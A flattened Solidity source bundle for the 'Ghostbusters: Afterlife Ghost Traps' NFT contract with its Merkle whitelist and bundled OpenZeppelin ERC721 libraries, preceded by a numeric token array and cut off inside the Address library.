8443,
1769,
203,
3639,
508,
273,
389,
529,
31,
203,
3639,
1026,
3098,
273,
389,
1969,
3098,
31,
203,
565,
289,
203,
203,
565,
871,
1436,
50,
1222,
1345,
12,
2867,
290,
1222,
8924,
16,
2254,
5034,
1147,
548,
16,
2254,
5034,
3844,
1769,
203,
203,
565,
871,
3581,
50,
1222,
1345,
12,
2867,
290,
1222,
8924,
16,
2254,
5034,
1147,
548,
16,
2254,
5034,
3844,
1769,
203,
565,
445,
443,
1724,
654,
39,
27,
5340,
12,
2867,
290,
1222,
8924,
16,
2254,
5034,
8526,
3778,
1147,
2673,
13,
1071,
288,
203,
3639,
2583,
12,
82,
1222,
8924,
480,
1758,
12,
20,
3631,
315,
40,
1212,
673,
1222,
12003,
30,
18449,
67,
15140,
8863,
203,
3639,
364,
12,
11890,
5034,
277,
273,
374,
31,
277,
411,
1147,
2673,
18,
2469,
31,
277,
27245,
288,
203,
5411,
467,
654,
39,
27,
5340,
12,
82,
1222,
8924,
2934,
4626,
5912,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
1147,
2673,
63,
77,
19226,
2
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./GBAWhitelist.sol";
/// @author Andrew Parker
/// @title Ghost Busters: Traps NFT contract
contract GBATraps is ERC721, Ownable, ERC721Enumerable{
constructor(
string memory _uriBase,
string memory _uriSuffix,
address _whitelist
) ERC721("Ghostbusters: Afterlife Ghost Traps","GBAGT"){
__uriBase = _uriBase;
__uriSuffix = _uriSuffix;
whitelist = _whitelist;
}
event PauseTraps(bool _pause);
address miniStayPuft; // MiniStayPuft contract;
address whitelist; // Whitlelist contract
string __uriBase; // Metadata URI base
string __uriSuffix; // Metadata URI suffix
bool public saleStarted; // Has sale started
uint public whitelistEndTime; // Time when tokens become publically available
mapping(address => bool) public hasMinted; // Has a given address minted
uint constant TOKEN_MAX = 1000; // Number of tokens that can exist
uint constant TOKENS_GIVEAWAY = 50 ; // Number of tokens that can be given away
uint public tokensClaimed; // Number of tokens claimed
uint tokensGiven; // Number of tokens given
uint tokensMinted; // Total number of tokens minted
enum State { Paused, Whitelist, Public, Final}
/// Mint Giveaway
/// @notice Mint tokens for giveaway
/// @param numTokens Number of tokens to mint
function mintGiveaway(uint numTokens) public onlyOwner {
require(tokensGiven + numTokens <= TOKENS_GIVEAWAY,"tokensGiven");
for(uint i = 0; i < numTokens; i++){
tokensGiven++;
_mint(msg.sender,++tokensMinted);
}
}
/// Use trap
/// @notice Function called by MSP when trapping mob
/// @dev burns a token, can only be called by MSP
/// @param trapper Address of trapper, burns one of their tokens
function useTrap(address trapper) public{
require(balanceOf(trapper) > 0,"No trap");
require(msg.sender == miniStayPuft,"Traps: sender");
_burn(tokenOfOwnerByIndex(trapper,0));
}
/// Mint a Trap (Whitelisted)
/// @notice Mint a Token if you're on the whitelist. Must be after sale has started.
/// @param merkleProof merkle proof for your address in the whitelist
function mintWhitelisted(bytes32[] memory merkleProof) public{
require(saleStarted,"saleStarted");
require(tokensClaimed < TOKEN_MAX - TOKENS_GIVEAWAY,"tokensClaimed");
require(!hasMinted[msg.sender],"minted");
require(GBAWhitelist(whitelist).isWhitelisted(merkleProof,msg.sender),"whitelist");
tokensClaimed++;
hasMinted[msg.sender] = true;
_mint(msg.sender,++tokensMinted);
}
/// Mint a Trap (Public)
/// @notice Mint a Token if you're on the whitelist. Must be after whitelistEndTime.
function mintPublic() public {
require(saleStarted,"saleStarted");
require(block.timestamp > whitelistEndTime,"whitelistEndTime");
require(tokensClaimed < TOKEN_MAX - TOKENS_GIVEAWAY,"tokensClaimed");
require(!hasMinted[msg.sender],"minted");
tokensClaimed++;
hasMinted[msg.sender] = true;
_mint(msg.sender,++tokensMinted);
}
/// Countdown
/// @notice Get seconds until end of whitelist, 0 if sale not started
function countdown() public view returns(uint){
if(!saleStarted || whitelistEndTime == 0){
return 0;
}else if(whitelistEndTime < block.timestamp){
return 0;
}else{
return whitelistEndTime - block.timestamp;
}
}
/// Start Sale
/// @notice Start whitelisted giveaway
function startSale() public onlyOwner{
saleStarted = true;
whitelistEndTime = block.timestamp + 1 days;
emit PauseTraps(false);
}
/// Pause Sale
/// @notice Pause whitelisted giveaway
function pauseSale() public onlyOwner{
saleStarted = false;
emit PauseTraps(true);
}
/// Set Mini Stay Puft
/// @notice Specify address of MSP contract
function setMiniStayPuft(address _miniStayPuft) public onlyOwner{
miniStayPuft = _miniStayPuft;
}
/// Mint State
/// @notice Get current mint state
/// @return State (enum value)
function mintState() public view returns(State){
if(tokensClaimed == TOKEN_MAX - TOKENS_GIVEAWAY){
return State.Final;
}else if(!saleStarted){
return State.Paused;
}else if(block.timestamp < whitelistEndTime){
return State.Whitelist;
}else{
return State.Public;
}
}
/// Token URI
/// @notice ERC721 Metadata function
/// @param _tokenId ID of token to check
/// @return URI (string)
function tokenURI(uint256 _tokenId) public view override returns (string memory){
require(_exists(_tokenId),"exists");
if(_tokenId == 0){
return string(abi.encodePacked(__uriBase,bytes("0"),__uriSuffix));
}
uint _i = _tokenId;
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len;
while (_i != 0) {
k = k-1;
uint8 temp = (48 + uint8(_i - _i / 10 * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(abi.encodePacked(__uriBase,bstr,__uriSuffix));
}
/// Update URI
/// @notice Update URI base and suffix
/// @param _uriBase URI base
/// @param _uriSuffix URI suffix
/// @dev Pushing size limits, so rather than having an explicit lock function, it can be implicit by renouncing ownership.
function updateURI(string memory _uriBase, string memory _uriSuffix) public onlyOwner{
__uriBase = _uriBase;
__uriSuffix = _uriSuffix;
}
/// Supports Interface
/// @notice Override ERC-165 function for conflict
/// @param interfaceId Interface ID to check
/// @return bool Contract supports this interface
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) {
return ERC721Enumerable.supportsInterface(interfaceId);
}
/// Before Token Transfer
/// @notice Override OpenZeppelin function conflict
/// @param from from
/// @param to to
/// @param tokenId tokenId
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable){
ERC721Enumerable._beforeTokenTransfer(from,to,tokenId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/// @author Andrew Parker
/// @title GBA Whitelist NFT Contract
/// @notice Implementation of OpenZeppelin MerkleProof contract for GBA MiniStayPuft and Traps NFTs
contract GBAWhitelist{
bytes32 merkleRoot;
/// Constructor
/// @param _merkleRoot root of merkle tree
constructor(bytes32 _merkleRoot){
merkleRoot = _merkleRoot;
}
/// Is Whitelisted
/// @notice Is a given address whitelisted based on proof provided
/// @param proof Merkle proof
/// @param claimer address to check
/// @return Is whitelisted
function isWhitelisted(bytes32[] memory proof, address claimer) public view returns(bool){
bytes32 leaf = keccak256(abi.encodePacked(claimer));
return MerkleProof.verify(proof,merkleRoot,leaf);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
